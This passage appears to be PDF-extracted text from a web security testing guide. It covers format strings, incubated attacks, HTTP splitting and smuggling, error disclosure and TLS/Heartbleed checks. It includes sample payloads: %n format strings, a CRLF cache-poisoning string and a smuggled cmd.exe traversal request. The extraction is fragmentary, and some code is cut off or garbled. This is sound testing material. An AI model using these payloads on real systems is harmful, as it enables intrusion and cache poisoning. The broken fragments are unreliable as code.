securityfocus.com/archive/1/317615).
Vulnerabilities can also appear in URL and address parsing code.
In such cases, a function like memccpy() is usually employed
which copies data into a destination buffer from source until a
specified character is not encountered. Consider the function:
void func(char *path)
{
char servaddr[40];
memccpy(servaddr,path,\);
.
}
Tools
Summary
This section describes how to test for format string attacks that can
be used to crash a program or to execute harmful code. The problem stems from the use of unfiltered user input as the format string
parameter in certain C functions that perform formatting, such as
printf().
Various C-Style languages provision formatting of output by means
of functions like printf( ), fprintf( ) etc. Formatting is governed by a
parameter to these functions termed as format type specifier, typically %s, %c etc. The vulnerability arises when format functions are
called with inadequate parameters validation and user controlled
data.
A simple example would be printf(argv[1]). In this case the type specifier has not been explicitly declared, allowing a user to pass characters such as %s, %n, %x to the application by means of command line
argument argv[1].
This situation tends to become precarious since a user who can supply format specifiers can perform the following malicious actions:
149
Denial of Service: If the adversary is not in a position to supply malicious code for execution, the vulnerable application can be crashed
by supplying a sequence of %x followed by %n.
How to Test
Black Box testing
The key to testing format string vulnerabilities is supplying format
type specifiers in application input.
For example, consider an application that processes the URL string
http://xyzhost.com/html/en/index.htm or accepts inputs from
forms. If a format string vulnerability exists in one of the routines
processing this information, supplying a URL like http://xyzhost.
com/html/en/index.htm%n%n%n or passing %n in one of the form
fields might crash the application creating a core dump in the hosting
folder.
Format string vulnerabilities manifest mainly in web servers, application servers, or web applications utilizing C/C++ based code or CGI
scripts written in C. In most of these cases, an error reporting or logging function like syslog( ) has been called insecurely.
When testing CGI scripts for format string vulnerabilities, the input
parameters can be manipulated to include %x or %n type specifiers.
For example a legitimate request like
can be altered to
http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x
If a format string vulnerability exists in the routine processing this
request, the tester will be able to see stack data being printed out
to browser.
If code is unavailable, the process of reviewing assembly fragments
(also known as reverse engineering binaries) would yield substantial
information about format string bugs.
Take the instance of code (1) :
int main(int argc, char **argv)
{
150
The functions that are primarily responsible for format string vulnerabilities are ones that treat format specifiers as optional. Therefore
when manually reviewing code, emphasis can be given to functions
such as:
printf
fprintf
sprintf
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
There can be several formatting functions that are specific to the
development platform. These should also be reviewed for absence
of format strings once their argument usage has been understood.
Tools
Summary
Also often refered to as persistent attacks, incubated testing is a
complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically
used to conduct watering hole attacks against users of legitimate web applications.
Incubated vulnerabilities have the following characteristics:
The attack vector needs to be persisted in the first place, it
needs to be stored in the persistence layer, and this would only
occur if weak data validation was present or the data arrived
into the system via another channel such as an admin console
or directly via a backend batch process.
Secondly, once the attack vector was recalled the vector
would need to be executed successfully. For example, an
incubated XSS attack would require weak output validation so
the script would be delivered to the client in its executable form.
Exploitation of some vulnerabilities, or even functional features
of a web application, will allow an attacker to plant a piece of data
that will later be retrieved by an unsuspecting user or other component of the system, exploiting some vulnerability there.
151
ers can then access (most probably with a higher degree of trust
than when accessing a different site).
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated
attack on the web server pages (actually, this is a known infection-spread method for some web server worms).
Gray Box testing
Gray/white testing techniques will be the same as previously
discussed.
Examining input validation is key in mitigating against this
vulnerability. If other systems in the enterprise use the same
persistence layer they may have weak input validation and the
data may be persisited via a back door.
To combat the back door issue for client side attacks, output
validation must also be employed so tainted data shall be
encoded prior to displaying to the client, and hence not execute.
See the Data Validation section of the Code review guide.
Tools
XSS-proxy - http://sourceforge.net/projects/xss-proxy
Paros - http://www.parosproxy.org/index.shtml
Burp Suite - http://portswigger.net/burp/proxy.html
Metasploit - http://www.metasploit.com/
References
Most of the references from the Cross-site scripting section are
valid. As explained above, incubated attacks are executed when
combining exploits such as XSS or SQL-injection attacks.
Advisories
CERT(R) Advisory CA-2000-02 Malicious HTML Tags
Embedded in Client Web Requests - http://www.cert.org/
advisories/CA-2000-02.html
Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site
scripting vulnerability - http://lists.grok.org.uk/pipermail/fulldisclosure/2006-July/048059.html
Whitepapers
Web Application Security Consortium Threat Classification,
Cross-site scripting - http://www.webappsec.org/projects/
threat/classes/cross-site_scripting.shtml
Misconfigured Server
Some web servers present an administration interface that may
allow an attacker to upload active components of her choice to
the site. This could be the case with an Apache Tomcat server
that doesnt enforce strong credentials to access its Web Application Manager (or if the pen testers have been able to obtain
valid credentials for the administration module by other means).
In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester
to execute code of her choice locally at the server, but also to
plant an application at the trusted site, which the site regular us-
This section will analyze two different attacks that target specific HTTP headers:
HTTP splitting
HTTP smuggling
Summary
This section illustrates examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different
agents interpret HTTP messages.
152
When receiving this message, the browser will bring the user to
the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the interface parameter the sequence %0d%0a, which
represents the CRLF sequence that is used to separate different
lines. At this point, testers will be able to trigger a response that
will be interpreted as two different responses by anybody who
happens to parse it, for instance a web cache sitting between
us and the application. This can be leveraged by an attacker to
poison this web cache so that it will provide false content in all
subsequent requests.
Lets say that in the previous example the tester passes the following data as the interface parameter:
advanced%0d%0aContent-Length:%20
0%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContent-Length:%20
35%0d%0a%0d%0a<html>Sorry,%20System%20Down</
html>
The resulting answer from the vulnerable application will therefore be the following:
153
<-- Request #1
<-- Request #2
Connection: Keep-Alive
Content-Length: 33
<CRLF>
POST /target.asp HTTP/1.0
<-- Request #3
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0 <-- Request #4
Connection: Keep-Alive
<CRLF>
What happens here is that the Request #1 is made of 49223
bytes, which includes also the lines of Request #2. Therefore, a
firewall (or any other agent beside IIS 5.0) will see Request #1,
will fail to see Request #2 (its data will be just part of #1), will see
Request #3 and miss Request #4 (because the POST will be just
part of the fake header xxxx).
Now, what happens to IIS 5.0 ? It will stop parsing Request #1
right after the 49152 bytes of garbage (as it will have reached
the 48K=49152 bytes limit) and will therefore parse Request #2
as a new, separate request. Request #2 claims that its content is
33 bytes, which includes everything until xxxx: , making IIS miss
Request #3 (interpreted as part of Request #2) but spot Request
#4, as its POST starts right after the 33rd byte or Request #2. It
is a bit complicated, but the point is that the attack URL will not
be detected by the firewall (it will be interpreted as the body of
a previous request) but will be correctly parsed (and executed)
by IIS.
While in the aforementioned case the technique exploits a bug of
a web server, there are other scenarios in which we can leverage
the different ways that different HTTP-enabled devices parse
messages that are not 1005 RFC compliant. For instance, the
HTTP protocol allows only one Content-Length header, but does
not specify how to handle a message that has two instances of
this header. Some implementations will use the first one while
others will prefer the second, cleaning the way for HTTP Smuggling attacks. Another example is the use of the Content-Length
header in a GET message.
Note that HTTP Smuggling does *not* exploit any vulnerability
in the target web application. Therefore, it might be somewhat
tricky, in a pen-test engagement, to convince the client that a
countermeasure should be looked for anyway.
References
Whitepapers
Amit Klein, Divide and Conquer: HTTP Response Splitting,
Web Cache Poisoning Attacks, and Related Topics - http://
www.packetstormsecurity.org/papers/general/whitepaper_
httpresponse.pdf
Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: HTTP
Request Smuggling - http://www.watchfire.com/news/
whitepapers.aspx
Amit Klein: HTTP Message Splitting, Smuggling and
Other Animals - http://www.owasp.org/images/1/1a/
OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.
ppt
Amit Klein: HTTP Request Smuggling - ERRATA (the IIS
48K buffer phenomenon) - http://www.securityfocus.com/
archive/1/411418
154
Summary
Often, during a penetration test on web applications, we come
up against many error codes generated from applications or
web servers. Its possible to cause these errors to be displayed
by using a particular requests, either specially crafted with tools
or created manually. These codes are very useful to penetration
testers during their activities, because they reveal a lot of information about databases, bugs, and other technological components directly linked with web applications.
This section analyses the more common codes (error messages) and bring into focus their relevance during a vulnerability assessment. The most important aspect for this activity is to focus
ones attention on these errors, seeing them as a collection of
information that will aid in the next steps of our analysis. A good
collection can facilitate assessment efficiency by decreasing the
overall time taken to perform the penetration test.
Attackers sometimes use search engines to locate errors that
disclose information. Searches can be performed to find any erroneous sites as random victims, or it is possible to search for
errors in a specific site using the search engine filtering tools as
described in 4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001)
Web Server Errors
A common error that we can see during testing is the HTTP 404
Not Found. Often this error code provides useful details about
the underlying web server and associated components. For example:
Not Found
The requested URL /page.html was not found on this server.
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2
PHP/5.1.2 Server at localhost Port 80
This error message can be generated by requesting a non-existent URL. After the common message that shows a page not
found, there is information about web server version, OS, modules and other products used. This information can be very important from an OS and application type and version identification point of view.
Other HTTP response codes such as 400 Bad Request, 405
Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out and 505 HTTP Version Not Supported can be
forced by an attacker. When receiving specially crafted requests,
web servers may provide one of these error codes depending on
their HTTP implementation.
Testing for disclosed information in the Web Server error codes
is related testing for information disclosed in the HTTP headers
as described in the section Fingerprint Web Server (OTG-IN-
FO-002).
Application Server Errors
Application errors are returned by the application itself, rather
than the web server. These could be error messages from framework code (ASP, JSP etc.) or they could be specific errors returned
by the application code. Detailed application errors typically provide information of server paths, installed libraries and application versions.
Database Errors
Database errors are those returned by the Database System
when there is a problem with the query or the connection. Each
Database system, such as MySQL, Oracle or MSSQL, has their
own set of errors. Those errors can provide sensible information
such as Database server IPs, tables, columns and login details.
In addition, there are many SQL Injection exploitation techniques
that utilize detailed error messages from the database driver, for
in depth information on this issue see Testing for SQL Injection
(OTG-INPVAL-005) for more information.
Web server errors arent the only useful output returned requiring security analysis. Consider the next example error message:
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not
exist or access denied
What happened? We will explain step-by-step below.
In this example, the 80004005 is a generic IIS error code which
indicates that it could not establish a connection to its associated
database. In many cases, the error message will detail the type
of the database. This will often indicate the underlying operating
system by association. With this information, the penetration
tester can plan an appropriate strategy for the security test.
By manipulating the variables that are passed to the database
connect string, we can invoke more detailed errors.
Microsoft OLE DB Provider for ODBC Drivers error 80004005
[Microsoft][ODBC Access 97 ODBC driver Driver]General error
Unable to open registry key DriverId
In this example, we can see a generic error in the same situation
which reveals the type and version of the associated database
system and a dependence on Windows operating system registry key values.
Now we will look at a practical example with a security test
against a web application that loses its link to its database server and does not handle the exception in a controlled manner. This
could be caused by a database name resolution issue, processing
of unexpected variable values, or other network problems.
Consider the scenario where we have a database administration
web portal, which can be used as a front end GUI to issue database
155
Result:
Firewall version used for authentication:
Error 407
FW-1 at <firewall>: Unauthorized to access the document.
0z
j0z
`
Test: 400 Bad Request
telnet <host target> 80
GET / HTTP/1.1
<CRLF><CRLF>
Result:
HTTP/1.1 400 Bad Request
Date: Fri, 06 Dec 2013 23:57:53 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>400 Bad Request</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at 127.0.1.1 Port 80</address>
...
Test: 405 Method Not Allowed
telnet <host target> 80
PUT /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>
Result:
HTTP/1.1 405 Method Not Allowed
Date: Fri, 07 Dec 2013 00:48:57 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Content-Length: 315
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>405 Method Not Allowed</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at <host target> Port 80</address>
...
156
Result:
HTTP/1.1 501 Method Not Implemented
Date: Fri, 08 Dec 2013 09:59:32 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Content-Length: 299
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>501 Method Not Implemented</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at <host target> Port 80</address>
...
Test:
Enumeration of directories by using access denied error messages:<br>
http://<host>/<dir>
Result:
Directory Listing Denied
This Virtual Directory does not allow contents to be listed.
Tools
ErrorMint - http://sourceforge.net/projects/errormint/
ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_
Attack_Proxy_Project
References
[RFC2616] Hypertext Transfer Protocol -- HTTP/1.1
[ErrorDocument] Apache ErrorDocument Directive
[AllowOverride] Apache AllowOverride Directive
[ServerTokens] Apache ServerTokens Directive
[ServerSignature] Apache ServerSignature Directive
Remediation
Error Handling in IIS and ASP .net
ASP .net is a common framework from Microsoft used for developing web applications. IIS is one of the commonly used web
servers. Errors occur in all applications, developers try to trap
most errors but it is almost impossible to cover each and every
exception (it is however possible to configure the web server to
suppress detailed error messages from being returned to the
user).
IIS uses a set of custom error pages generally found in c:\winnt\
help\iishelp\common to display errors like 404 page not found
to the user. These default pages can be changed and custom errors can be configured for IIS server. When IIS receives a request
for an aspx page, the request is passed on to the dot net framework.
There are various ways by which errors can be handled in dot net
framework. Errors are handled at three places in ASP .net:
Inside Web.config customErrors section
9nside global.asax Application_Error Sub
At the the aspx or associated codebehind page in the Page_Error sub
Handling errors using web.config
<customErrors defaultRedirect=myerrorpagedefault.aspx
mode=On|Off|RemoteOnly>
<error statusCode=404 redirect=myerrorpagefor404.
aspx/>
<error statusCode=500 redirect=myerrorpagefor500.
aspx/>
</customErrors>
mode=On will turn on custom errors. mode=RemoteOnly will
show custom errors to the remote web application users. A user
accessing the server locally will be presented with the complete
stack trace and custom errors will not be shown to him.
All the errors, except those explicitly specified, will cause a redirection to the resource specified by defaultRedirect, i.e., myerrorpagedefault.aspx. A status code 404 will be handled by myerrorpagefor404.aspx.
157
it means that IIS custom errors are not configured. Please note
the .asp extension.
Also test for .net custom errors. Type a random page name with
aspx extension in your browser
http:\\www.mywebserver.com\anyrandomname.aspx
If the server returns
Server Error in / Application.
-------------------------------------------------------------------------------
Summary
Stack traces are not vulnerabilities by themselves, but they often
reveal information that is interesting to an attacker. Attackers
attempt to generate these stack traces by tampering with the
input to the web application with malformed HTTP requests and
other input data.
If the application responds with stack traces that are not managed it could reveal information useful to attackers. This information could then be used in further attacks. Providing debugging information as a result of operations that generate errors is
considered a bad practice due to multiple reasons. For example,
158
it may contain information on internal workings of the application such as relative paths of the point where the application is
installed or how objects are referenced internally.
protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is
also possible to use client certificate for mutual authentication.
How to Test
Black Box testing
There are a variety of techniques that will cause exception messages to be sent in an HTTP response. Note that in most cases
this will be an HTML page, but exceptions can be sent as part of
SOAP or REST responses too.
Common Issues
A vulnerability occurs if the HTTP protocol is used to transmit
sensitive information [2] (e.g. credentials transmitted over HTTP
[3]).
All the above tests could lead to application errors that may contain stack traces. It is recommended to use a fuzzer in addition to
any manual testing.
Some tools, such as OWASP ZAP and Burp proxy will automatically detect these exceptions in the response stream as you are
doing other penetration and testing work.
Gray Box Testing
Search the code for the calls that cause an exception to be rendered to a String or output stream. For example, in Java this
might be code in a JSP that looks like:
<% e.printStackTrace( new PrintWriter( out ) ) %>
In some cases, the stack trace will be specifically formatted into
HTML, so be careful of accesses to stack trace elements.
Search the configuration to verify error handling configuration
and the use of default error pages. For example, in Java this configuration can be found in web.xml.
Tools
Summary
Sensitive data must be protected when it is transmitted through
the network. Such data can include user credentials and credit
cards. As a rule of thumb, if data must be protected when it is
stored, it must be protected also during transmission.
HTTP is a clear-text protocol and it is normally secured via an
SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this
159
160
161
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
|_ least strength: strong
993/tcp open imaps
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
| TLSv1.0:
| ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
|_ least strength: strong
995/tcp open pop3s
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
| TLSv1.0:
| ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
|_ least strength: strong
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
162
Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)
Openssl [30] can be used for testing manually SSL/TLS. In this
example the tester tries to initiate a renegotiation by client [m]
connecting to server with openssl. The tester then writes the fist
line of an HTTP request and types R in a new line. He then waits
for renegotiaion and completion of the HTTP request and checks
if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers
and for other vulnerabilities.
$ openssl s_client -connect www2.example.com:443
CONNECTED(00000003)
depth=2 ******
verify error:num=20:unable to get local issuer certificate
verify return:0
--Certificate chain
0 s:******
i:******
1 s:******
i:******
2 s:******
i:******
--Server certificate
-----BEGIN CERTIFICATE----******
-----END CERTIFICATE----subject=******
issuer=******
--No client certificate CA names sent
--SSL handshake has read 3558 bytes and written 640 bytes
--New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1
Cipher : DES-CBC3-SHA
Session-ID: ******
Session-ID-ctx:
Master-Key: ******
Key-Arg : None
PSK identity: None
PSK identity hint: None
SRP username: None
Start Time: ******
Timeout : 300 (sec)
Verify return code: 20 (unable to get local issuer certificate)
---
Now the tester can write the first line of an HTTP request and
then R in a new line.
HEAD / HTTP/1.1
R
Server is renegotiating
RENEGOTIATING
depth=2 C******
verify error:num=20:unable to get local issuer certificate
verify return:0
And the tester can complete our request, checking for response.
Even if the HEAD is not permitted, Client-intiated renegotiaion
is permitted.
HEAD / HTTP/1.1
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1792
read:errno=0
Example 5. Testing supported Cipher Suites, BEAST and CRIME
attacks via TestSSLServer
TestSSLServer [32] is a script which permits the tester to check
the cipher suite and also for BEAST and CRIME attacks. BEAST
(Browser Exploit Against SSL/TLS) exploits a vulnerability of
CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy)
exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the
use of RC4, but this is now discouraged due to a crypto-analytical
attack to RC4 [15].
An online tool to check for these attacks is SSL Labs, but can be used
only for internet facing servers. Also consider that target data will be
stored on SSL Labs server and also will result some connection from
SSL Labs server [21].
163
RSA_WITH_AES_256_CBC_SHA
DHE_RSA_WITH_AES_256_CBC_SHA
RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
RSA_WITH_CAMELLIA_256_CBC_SHA
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
(TLSv1.0: idem)
(TLSv1.1: idem)
TLSv1.2
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
DHE_RSA_WITH_AES_256_CBC_SHA
RSA_WITH_AES_128_CBC_SHA256
RSA_WITH_AES_256_CBC_SHA256
RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA256
DHE_RSA_WITH_AES_256_CBC_SHA256
RSA_WITH_CAMELLIA_256_CBC_SHA
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
---------------------Server certificate(s):
******
---------------------Minimal encryption strength: strong encryption (96-bit or
more)
Achievable encryption strength: strong encryption (96-bit or
more)
BEAST status: vulnerable
CRIME status: protected
PluginHSTS
PluginSessionRenegotiation
PluginCertInfo
PluginSessionResumption
PluginOpenSSLCipherSuites
PluginCompression
=> 127.0.0.1:443
Disabled
* Session Renegotiation :
Client-initiated Renegotiations: Rejected
Secure Renegotiation:
Supported
* Certificate :
Validation w/ Mozillas CA Store: Certificate is NOT Trusted: unable to get local issuer certificate
Hostname Validation:
MISMATCH
SHA1 Fingerprint:
******
Common Name:
Issuer:
Serial Number:
Not Before:
Not After:
www.example.com
******
****
Sep 26 00:00:00 2010 GMT
Sep 26 23:59:59 2020 GMT
Signature Algorithm:
sha1WithRSAEncryption
Key Size:
1024 bit
X509v3 Subject Alternative Name: {othername: [<unsupported>], DNS: [www.example.com]}
* OCSP Stapling :
Server did not send back an OCSP response.
* Session Resumption :
With Session IDs:
Supported (5 successful, 0 failed,
0 errors, 5 total attempts).
With TLS Session Tickets: Supported
* SSLV2 Cipher Suites :
Rejected Cipher Suite(s): Hidden
164
RC4-SHA
HTTP 200 OK
128 bits
165
user@myhost: %
no PFS available
Null Cipher
NOT offered (ok)
Anonymous NULL Cipher NOT offered (ok)
Anonymous DH Cipher NOT offered (ok)
40 Bit encryption
NOT offered (ok)
56 Bit encryption
NOT offered (ok)
Export Cipher (general) NOT offered (ok)
Low (<=64 Bit)
NOT offered (ok)
DES Cipher
NOT offered (ok)
Triple DES Cipher
offered
Medium grade encryption offered
High grade encryption offered (ok)
--> Testing server defaults (Server Hello)
Negotiated protocol
Negotiated cipher
TLSv1.2
AES128-GCM-SHA256
166
Certificate Info:
==================
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)
Expiration Date: Sat Nov 09 07:48:47 SGT 2019
Signature Hash Algorithm: SHA1withRSA
Public key: Sun RSA public key, 1024 bits
modulus: 13563296484355500991016409816100408625
9135236815846778903941582882908611097021488277
5657328517128950572278496563648868981962399018
7956963565986177085092024117822268667016231814
7175328086853962427921575656093414000691131757
0996633223696567560900301903699230503066687785
34926124693591013220754558036175189121517
public exponent: 65537
Signed for: CN=localhost
Signed by: CN=localhost
Total certificate chain: 1
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged
output.)
=====================================
Certificate Validation:
===============================
[!] Signed using Insufficient public key length 1024 bits
(Refer to http://www.keylength.com/ for details)
[!] Certificate Signer: Self-signed/Untrusted CA - verified with
0C`RRj
=====================================
Loading module: Hut3 Cardiac Arrest ...
Checking localhost:443 for Heartbleed bug (CVE-2014-0160)
...
[-] Connecting to 127.0.0.1:443 using SSLv3
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of
3! 127.0.0.1:443 is vulnerable over SSLv3
[-] Displaying response (lines consisting entirely of null bytes
are removed):
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......
SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00
.B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 ..........
.!..
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
;.<.=.>[email protected].
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0
(.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0
8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
@.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0
X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
`.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0
x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00
..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00
2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00
....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02
..........}.....
[-] Closing connection
[-] Connecting to 127.0.0.1:443 using TLSv1.0
[-] Sending ClientHello
167
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,..../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
;.<.=.>[email protected].
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0
(.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0
8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
@.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
P.Q.R.S.T.U.V.W.
